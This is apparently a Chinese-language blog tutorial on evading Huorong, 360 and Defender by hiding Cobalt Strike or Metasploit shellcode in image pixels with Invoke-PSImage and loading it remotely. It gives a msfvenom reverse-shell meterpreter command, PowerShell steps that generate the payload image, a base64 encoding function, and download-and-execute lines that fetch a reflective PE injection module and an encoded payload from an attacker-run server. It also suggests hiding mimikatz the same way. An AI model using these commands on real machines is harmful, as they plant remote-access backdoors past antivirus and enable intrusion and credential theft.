shellcode隐写RGB过火绒、360

cs篇将Shellcode隐写到正常BMP图片中,把字符串拆成字节,写入每个像素的alpha通道中,然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载,能有效地增加了免杀性和隐匿性。

首先在cs生成shellcode

image-20210826143523433

MSF篇

在msf生成ps文件

1
msfvenom-pwindows/x64/meterpreter/reverse_httpLHOST=192.168.82.134LPORT=7788-fpsh-reflection>msf.ps1

后面都一样

将payload放在与Invoke-PSImage.ps1同一目录下

提前准备一张图片用于生成包含shellcode的图片

image-20210826143547986

在当前目录下打开powershell

1
2
3
Set-ExecutionPolicy Unrestricted -Scope CurrentUser				//设置脚本策略
Import-Module .\Invoke-PSimage.ps1 //导入脚本模块
Invoke-PSImage -Script .\payload.ps1 -Image .\0range.png -Out .\0range.jpg -Web//生成用于远程加载的png图片

同时会生成一段powershll的shellcode

image-20210826143601038

在公网服务器开启web服务,同时将上面生成的图片传到网站路径用于加载,生成的那段shellcode中的example.com改成自己web服务的地址就好

本地运行后火绒和360正常过

!image-20210826143623757

但是被defender拦了,尝试用海莲花加密,还是一样被拦截

image-20210826143637852

image-20210826143651364

看来简单的加密拆分混淆已经过不了defender了,得另寻他路

看到有师傅Powershell内存中执行exe,试一试远程加载反射注入PE

本地编码payload

powershell下执行将自己的马子改下路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
functionConvert-BinaryToString{
[CmdletBinding()]param(
[string]$FilePath)
try{
$ByteArray=[System.IO.File]::ReadAllBytes($FilePath);
}
catch{
throw"Failedtoreadfile.Ensurethatyouhavepermissiontothefile,andthatthefilepathiscorrect.";}
if($ByteArray){
$Base64String=[System.Convert]::ToBase64String($ByteArray);
}
else{
throw'$ByteArrayis$null.';
}
Write-Output-InputObject$Base64String;
}
Convert-BinaryToStringE:\0.渗透工具\免杀\powershell\Invoke-Obfuscation-master\0range.ps1>E:\res.txt

image-20210826143704812

目标机器远程加载powerspolit的PE反射模块
1
iex(New-ObjectNet.WebClient).DownloadString("http://服务器IP/Invoke-ReflectivePEInjection.ps1")

image-20210826144726424

加密后显示字符过长。。。。

image-20210826144807458

这里先跳过看看后面是否可以正常运行

继续加载base64编码后得payload
1
$b64Str=(New-ObjectNet.WebClient).DownloadString("http://xxxx/res.txt")

image-20210826143735521

解码payload
1
$PEBytes=[System.Convert]::FromBase64String($InputString)

image-20210826143747842

反射调用

image-20210826143801107

。。进行到这里又陷入了僵局

一直在尝试免杀脚本内容,但是忽略了defender查杀前面的iex函数将iex换为别名Invoke-Expression也不可以

image-20210826143814853

Windows针对powershell的检测主要是AMSI接口。

主要检测

  1. 文件
  2. 内存
  3. 数据流

其实想到可以dll劫持,但是要建立在权限足够的基础上,还有修改注册表什么的,但是权限足够的话就不需要这个方法了……

实在找不到好的方法了。。。。菜鸡叹气

这里其实也可以隐写其他ps脚本,比如mimikatzpsexec等等工具,思路打开,路子很多。

几个月前写的了,现在发出来,虽然现在会了点方法,不过还是要感叹一句,defender静态查杀挺强的。

Peace.